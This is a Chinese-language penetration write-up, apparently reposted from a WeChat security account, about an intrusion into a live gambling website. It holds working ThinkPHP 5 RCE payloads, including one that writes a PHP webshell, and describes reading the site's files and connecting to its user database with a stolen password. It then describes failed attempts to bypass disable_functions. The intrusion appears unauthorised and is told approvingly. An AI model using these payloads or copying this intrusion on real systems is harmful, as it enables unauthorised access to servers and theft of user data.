**前提摘要:** 通过批量的爬取和扫描,寻找到了个目标站点,是个关于bc的站点。兄弟们冲了他!
前提摘要:
通过批量的爬取和扫描,寻找到了个目标站点,是个关于bc的站点。兄弟们冲了他!
渗透过程
首先肯定先搞一波基础的信息收集,跑一跑目录,端口号等等。
通过目录的扫描一下发现了个惊喜,thinkphp的版本直接就出来了,没想到呀
话不多说直接开干,添加进入goby简单验证下存不存在洞洞
没想到我运气经如此的好
直接替换成系统命令函数,我倒,竟然不行,那就只能换个函数试试,经过测试发现什么eval,system呀什么都不行,哎果然bc站点不是这么容易的,哭哭。
想着既然goby的poc验证失败了,尝试下手工输入poc了,这里感谢下这位大佬的文章,令我受益匪浅
文章:https://y4er.com/post/thinkphp5-rce/
在经过一顿输入poc验证后发现,所有的执行命令的poc都不行,都会提示系统错误
感觉是disable_functions禁用了函数,想着看看能不能看到phpinfo信息。
Payload :
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
惊喜出现,直接搜索下disable_functions看看到底禁用了多少
我倒,禁用的还真不少,能用的代码执行函数全给禁了,在我一筹莫展之际经过大佬们的指点后,可以试试写入shell文件试试
Payload
POST:
s=file_put_contents(‘test.php’,'<eval($_POST);’)&_method=__construct&method=POST&filter[]=assert
直接拿下,测试除了不能执行命令外,网站文件都可以看,还翻到了数据库的密码,可惜不是root的,看着目录结构像是某塔的。
连上数据库看看,好家伙还不少人呀。
既然拿下shell了,就想着bypass下disable_functions吧。
经过信息整理:环境为nginx、php5.6、linux、某塔搭建的
先来尝试下蚁剑过disable_functions插件,果然经过测试都失败了
难受住了,姜,只能网上找找文章看看原理了,看看为什么不行
首先看看蚁剑上面的第一个绕过方法:LD_PRELOAD方法
具体的可以看看这篇文章,只能说大佬牛皮!
https://www.freebuf.com/articles/web/192052.html
我也下了个github的项目过LD_PRELOAD的
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
一看到函数我感觉可能问题就出在这个,接着一查果然disable_functions禁用了这个函数,姜放弃下一个
第二个是php-fpm的绕过
具体的可以看下这个文章
https://www.freebuf.com/articles/network/263540.html
经过测试还是没有成功,剩下的几个方法我就不一一说了,有些是环境不支持,有些是函数被禁用了,不过总体来讲还可以,毕竟某塔还是强,如果各位师傅们有更好的思路,能执行命令的话,请多带带弟弟
交流学习,加下方微信
参考来源:奇安信攻防社区
原文地址:https://forum.butian.net/share/495
原文始发于微信公众号(红蓝公鸡队):某BC站点getshell实录